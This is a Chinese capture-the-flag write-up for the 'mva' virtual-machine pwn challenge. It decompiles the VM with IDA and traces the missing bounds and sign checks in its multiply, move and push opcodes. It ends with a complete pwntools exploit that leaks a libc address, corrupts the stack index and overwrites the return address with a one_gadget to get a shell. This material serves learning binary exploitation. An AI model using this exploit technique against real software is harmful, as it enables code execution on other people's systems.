ida 分析

ida 打开,发现反编译代码不完整。

看汇编,发现存在脏字

nop 掉后就可以看到完整代码了。
然而 case 8u: 依旧不能反编译。

认真分析了汇编发现没有问题,其实这是 ida 的一个 bug ,只要选择 Edit->Patch program->Apply patches to input file 将修改保存然后重新 ida 分析就可以正常反编译了。

这个函数也没有反编译完全

undefine 之后重新定义函数就好了

程序分析

main 函数

经典虚拟机

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{__int16 f; // [rsp+1Ah] [rbp-246h]__int16 is_run; // [rsp+1Ch] [rbp-244h]unsigned __int16 t; // [rsp+20h] [rbp-240h]unsigned int op; // [rsp+24h] [rbp-23Ch]int next_op; // [rsp+28h] [rbp-238h]__int64 top; // [rsp+30h] [rbp-230h]unsigned __int16 reg[6]; // [rsp+44h] [rbp-21Ch] BYREFunsigned __int16 stk[260]; // [rsp+50h] [rbp-210h]unsigned __int64 v12; // [rsp+258h] [rbp-8h]v12 = __readfsqword(0x28u);sub_1277(a1, a2, a3);f = 0;top = 0LL;memset(reg, 0, sizeof(reg));is_run = 1;puts("[+] Welcome to MVA, input your code now :");fread(ops, 0x100uLL, 1uLL, stdin);puts("[+] MVA is starting ...");
LABEL_102:while ( is_run ){op = get_op();t = HIBYTE(op);if ( t > 0xFu )break;switch ( t ){case 0u:is_run = 0;break;case 1u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);reg[SBYTE2(op)] = op;break;case 2u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] + reg[(char)op];break;case 3u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] - reg[(char)op];break;case 4u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] & reg[(char)op];break;case 5u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] | reg[(char)op];break;case 6u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);reg[SBYTE2(op)] = (int)reg[SBYTE2(op)] >> reg[SBYTE1(op)];break;case 7u:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] ^ reg[(char)op];break;case 8u:pc = get_op();break;case 9u:if ( top > 256 )exit(0);if ( BYTE2(op) )stk[top] = op;elsestk[top] = reg[0];++top;break;case 0xAu:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( !top )exit(0);reg[SBYTE2(op)] = stk[--top];break;case 0xBu:next_op = get_op();if ( f == 1 )pc = next_op;break;case 0xCu:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )exit(0);f = reg[SBYTE2(op)] == reg[SBYTE1(op)];break;case 0xDu:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( (char)op > 5 || (op & 0x80u) != 0 )exit(0);reg[SBYTE2(op)] = reg[SBYTE1(op)] * reg[(char)op];break;case 0xEu:if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )exit(0);if ( SBYTE1(op) > 5 )exit(0);reg[SBYTE1(op)] = reg[SBYTE2(op)];break;case 0xFu:printf("%d\n", stk[top]);break;default:goto LABEL_102;}}puts("[+] MVA is shutting down ...");return 0LL;
}

get_op 函数

获取指令,分析代码可知,指令长度为 4 字节,并且按照大端序获取,即低地址的字节位于 op 的高位。从代码分析可以看出,指令长度均为 4 ,按 64 位数 op 从高到低位,第一个字节是操作码,后面三个字节为地址码或填充字节。

__int64 get_op()
{unsigned int op; // [rsp+4h] [rbp-Ch]op = (*(_DWORD *)&ops[pc] << 8) & 0xFF0000 | (*(_DWORD *)&ops[pc] >> 8) & 0xFF00 | HIBYTE(*(_DWORD *)&ops[pc]) | (*(_DWORD *)&ops[pc] << 24);pc += 4;return op;
}

漏洞分析

可以看出程序中对地址码的检验一个是判断上界,另一个是通过判断标志位判断正负。
程序中主要存在 3 个漏洞点:

case 0xDu

缺少对 SBYTE1(op) 的范围的检验,可以从任意地址的读取 2 字节数据到寄存器。

case 0xEu

缺少对 SBYTE1(op) 的正负的检验,通过读入负数可以将寄存器中 2 字节数据写入在 [reg-0xFF,reg+5] 区间中的地址上。

case 9u

分析 case 9u 的代码:

case 9u:if ( top > 256 )exit(0);if ( BYTE2(op) )stk[top] = op;elsestk[top] = reg[0];++top;break;

对应的汇编为:

.text:00000000000017A1 loc_17A1:                               ; CODE XREF: main+14B↑j
.text:00000000000017A1                                         ; DATA XREF: .rodata:jpt_13F5↓o
.text:00000000000017A1                 mov     rax, [rbp+top]  ; jumptable 00000000000013F5 case 9
.text:00000000000017A8                 cmp     rax, 100h
.text:00000000000017AE                 jle     short loc_17BA
.text:00000000000017B0                 mov     edi, 0          ; status
.text:00000000000017B5                 call    _exit
.text:00000000000017BA ; ---------------------------------------------------------------------------
.text:00000000000017BA
.text:00000000000017BA loc_17BA:                               ; CODE XREF: main+504↑j
.text:00000000000017BA                 cmp     [rbp+var_249], 0
.text:00000000000017C1                 jnz     short loc_17E6
.text:00000000000017C3                 movsx   edx, [rbp+var_249]
.text:00000000000017CA                 mov     rax, [rbp+top]
.text:00000000000017D1                 movsxd  rdx, edx
.text:00000000000017D4                 movzx   edx, [rbp+rdx*2+reg]
.text:00000000000017DC                 mov     [rbp+rax*2+stk], dx
.text:00000000000017E4                 jmp     short loc_17FC
.text:00000000000017E6 ; ---------------------------------------------------------------------------
.text:00000000000017E6
.text:00000000000017E6 loc_17E6:                               ; CODE XREF: main+517↑j
.text:00000000000017E6                 mov     rax, [rbp+top]
.text:00000000000017ED                 movzx   edx, [rbp+var_23E]
.text:00000000000017F4                 mov     [rbp+rax*2+stk], dx
.text:00000000000017FC
.text:00000000000017FC loc_17FC:                               ; CODE XREF: main+53A↑j
.text:00000000000017FC                 mov     rax, [rbp+top]
.text:0000000000001803                 add     rax, 1
.text:0000000000001807                 mov     [rbp+top], rax
.text:000000000000180E                 jmp     loc_1A2B

因为对 top 没有校验正负,因此如果 top 为负数可以绕过对 top 的校验。
另外,mov [rbp+rax*2+stk], dx 指令中,由于 stk 为 16bit ,因此取值时存放 top 的寄存器 rax 要左移 1 位,这样恰好把符号位移走,变成正数,因此可以实现任意地址写。

漏洞利用

首先 main 函数中变量在栈中的布局如下:

-0000000000000249 var_249         db ?
-0000000000000248 var_248         db ?
-0000000000000247 var_247         db ?
-0000000000000246 f               dw ?
-0000000000000244 is_run          dw ?
-0000000000000242 var_242         dw ?
-0000000000000240 t               dw ?
-000000000000023E var_23E         dw ?
-000000000000023C op              dd ?
-0000000000000238 next_op         dd ?
-0000000000000234 var_234         dd ?
-0000000000000230 top             dq ?
-0000000000000228 var_228         dq ?
-0000000000000220                 db ? ; undefined
-000000000000021F                 db ? ; undefined
-000000000000021E                 db ? ; undefined
-000000000000021D                 db ? ; undefined
-000000000000021C reg             dw 6 dup(?)
-0000000000000210 stk             dw 260 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

获取 one_gadget 地址

利用 case 0xDu 漏洞将栈中的泄露 libc 的基地址读入寄存器。
调试到 case 0xDu:

reg 地址如下:

观察栈结构,发现一个可以泄露 libc 基地址的数据。

计算得偏移为 0x3C ,是偶数,因此可以通过 reg[0x1E]~reg[0x20] 将其读取出来,然后用 reg[1]~reg[3] 将其存下。

payload += '\x01\x00\x00\x01'  # reg[0] = 1
payload += '\x0d\x01\x1e\x00'  # reg[1] = reg[0x1E] * reg[0]
payload += '\x0d\x02\x1f\x00'  # reg[2] = reg[0x1F] * reg[0]
payload += '\x0d\x03\x20\x00'  # reg[3] = reg[0x20] * reg[0]

根据调试可知泄露出的 libc 地址相对基地址偏移为 0x2229E8 ,而 one_gadget 偏移为 0xE3B31。我们假定从泄露的真实地址与 one_gadget 真实地址之间存储在相同寄存器的值的大小关系与地址看做上述相对偏移值时相同寄存器值的大小关系相同(实际很大概率是这种情况),则将寄存器中的数据改为 one_gadget 地址需要将寄存器 2 减去 0x14,寄存器 1 加上 0x1149 。利用 case 2u:case 3u: 可实现上述操作。

payload += '\x01\x00\x00\x14'  # reg[0] = 0x14
payload += '\x03\x02\x02\x00'  # reg[2] = reg[2] - reg[0]
payload += '\x01\x00\x11\x49'  # reg[0] = 0x1149
payload += '\x02\x01\x01\x00'  # reg[1] = reg[1] + reg[0]

修改 top 为 0x800000000000010c

根据 main 函数中变量在栈中的布局可知,reg 地址为 $rbp - 0x23Ctop 地址为 $rbp - 0x230
由于 reg 长度为 16bit ,因此reg[-7]reg[-10] 覆盖 top 变量的头部和尾部。
由于 top 初值为 0 ,因此用两个寄存器借助 case 0xEu 的漏洞将 top 修改为 0x800000000000010c 。
根据补码的规则,-7 对应 0xF9 ,-10 对应 0xF6 。

payload += '\x01\x00\x80\x00'  # reg[0] = 0x8000
payload += '\x0e\x00\xf9\x00'  # reg[-7] = reg[0]
payload += '\x01\x00\x01\x0c'  # reg[0] = 0x010C
payload += '\x0e\x00\xf6\x00'  # reg[-10] = reg[0]

将返回地址修改为 one_gadget

根据前面对 case 9u 漏洞的分析,在比较时,由于 0x800000000000010c 为负数,因此可以绕过 if ( top > 256 ) 的检查。而在向 stk 添加元素时,由于 rax 左移 1 位发生溢出变为 0x218 ,因此实际访问的是存储函数返回地址的起始位置。将寄存器中存储的 one_gadget 地址依次写入即可获取 shell 。

payload += '\x0e\x01\x00\x00'  # reg[0] = reg[1]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]
payload += '\x0e\x02\x00\x00'  # reg[0] = reg[2]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]
payload += '\x0e\x03\x00\x00'  # reg[0] = reg[3]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]

完整 exp

from pwn import *context.arch = 'amd64'
p = process('./mva')
# p = remote('119.23.155.14',24018)
elf = ELF('./mva')payload = ''payload += '\x01\x00\x00\x01'  # reg[0] = 1
payload += '\x0d\x01\x1e\x00'  # reg[1] = reg[0x1E] * reg[0]
payload += '\x0d\x02\x1f\x00'  # reg[2] = reg[0x1F] * reg[0]
payload += '\x0d\x03\x20\x00'  # reg[3] = reg[0x20] * reg[0]payload += '\x01\x00\x00\x14'  # reg[0] = 0x14
payload += '\x03\x02\x02\x00'  # reg[2] = reg[2] - reg[0]
payload += '\x01\x00\x11\x49'  # reg[0] = 0x1149
payload += '\x02\x01\x01\x00'  # reg[1] = reg[1] + reg[0]payload += '\x01\x00\x80\x00'  # reg[0] = 0x8000
payload += '\x0e\x00\xf9\x00'  # reg[-7] = reg[0]
payload += '\x01\x00\x01\x0c'  # reg[0] = 0x010C
payload += '\x0e\x00\xf6\x00'  # reg[-10] = reg[0]payload += '\x0e\x01\x00\x00'  # reg[0] = reg[1]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]
payload += '\x0e\x02\x00\x00'  # reg[0] = reg[2]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]
payload += '\x0e\x03\x00\x00'  # reg[0] = reg[3]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]p.sendafter("input your code now :\n", payload.ljust(0x100, '\x00'))
p.recvuntil("MVA is starting ...")
p.interactive()

2022虎符 mva相关推荐

  1. 2022 虎符 pwn mva

    给了个docker环境 但是其实就是告诉你环境是ubuntu20.04 保护就是全绿 看起来似乎很简单 刚开始需要一堆输入 然后在那个11e9函数做一个简单的处理 然后就有一个jmp rax. 但是我 ...

  2. 2022虎符 the_shellcode

    ida attach 到进程上,然后把数据改为代码形式然后 F5 反汇编. 主体逻辑如下: int __usercall sub_1711BF@<eax>(int a1@<edi&g ...

  3. 2022-03-19

    来源:2022虎符CTF RRSSAA from Crypto.Util.number import getPrime, inverse, GCD, bytes_to_long from random ...

  4. CTFmisc类密码题思路与多种做法(CyberChef、Ciphey)

    文章目录 一.题目描述与分析 二.在线网站做法 三.CyberChef 四.Ciphey LaTeX base64后翻译 一.题目描述与分析 来源: BMZCTF第二届网络安全公开赛,主办单位:白帽子 ...

  5. 刷题记录(2023.3.14 - 2023.3.18)

    [第五空间 2021]EasyCleanup 临时文件包含考点 分析源码,两个特殊的点,一个是 eval,另一个是 include eval 经过了 strlen filter checkNums 三 ...

  6. 虎符CTF 2022 mva

    前言: 昨天刚结束的虎符CTF的一道题,开始的太晚了,比赛结束半个小时才做出来,略显可惜 逆向分析: 拿到程序,稍做处理后可以看到,首先是让我们输入一段0x100的字节,然后开始取指-执行-取指-执行 ...

  7. 2022年Gartner新兴技术、人工智能技术成熟度曲线概述

    Gartner发布2022年新兴技术成熟度曲线 2022年8月19日,Gartner发布2022年新兴技术成熟度曲线,并列出了25项值得关注的新兴技术.这些技术正在推动沉浸式体验的发展和扩展.加速人工 ...

  8. Gartner 公布 2022 新兴技术成熟度曲线,这些技术趋势最值得关注

    更多内容关注微信公众号:fullstack888 近日,Gartner 公布了 2022 年新兴技术成熟度曲线以及最新的技术趋势. 2021-2023年大型企业新兴技术路线图 2022 年技术成熟度曲 ...

  9. 2022 Gartner新兴技术成熟曲线

    Emerging technologies for 2022 fit into three main themes: evolving/expanding immersive experiences ...

最新文章

  1. 3proxy 使用指北
  2. mysql千万级大数据SQL查询优化
  3. 全球及中国新能源汽车电机市场未来发展方向与投资潜力研究报告2022版
  4. Google Chrome —— 离线安装/安装包下载解决方案
  5. Spring MVC中的视图解析ViewResolver
  6. html4基础,HTML 基础 4
  7. 服务器显示不明用户远程过,服务器显示不明用户远程过
  8. 电子商务网站 数据库产品表设计方案
  9. 使用Bootstrap后,关于IE与Chrome显示字体的问题
  10. 2017.3.17 激光炸弹 思考记录
  11. 去除WinRAR弹窗广告,去除购买许可弹窗
  12. Java利用PdfBox实现Pdf转图片
  13. 简单介绍会计师事务所
  14. Excel xlsx file; not supported报错
  15. LibreOJ #6198.谢特 后缀数组+并查集+trie启发式合并
  16. 【hive】hive如何将Jan 1, 2021 12:40:46 PM时间格式转换为指定格式
  17. 探测器反向偏压_(如光电二极管)反向偏置.ppt
  18. css宽度为自适应,高度等于宽度
  19. 如何做好百度竞价?需清楚竞价账户的结构和核心思维
  20. apache更改网站目录

热门文章

  1. python修改自己的代码_python修改微信和支付宝步数的示例代码
  2. Vivado | FPGA开发工具(Xilinx系列芯片)
  3. cad单线变双线lisp_cad里面怎么把双线转成单线
  4. **深信服软件测试笔试加面试**
  5. 【Galois工具开发之路】给你的JVM安装一个插件~
  6. Java流Strem
  7. Vue项目实战之电商后台管理系统(八) 订单管理及数据统计模块
  8. 如何批量查询邮政平邮/小包未签收快递的物流信息
  9. CDMA、GSM模块串口RTS和CTS硬件流控制小结 【转】
  10. 【前端】HTML、CSS、JS、PHP 的学习顺序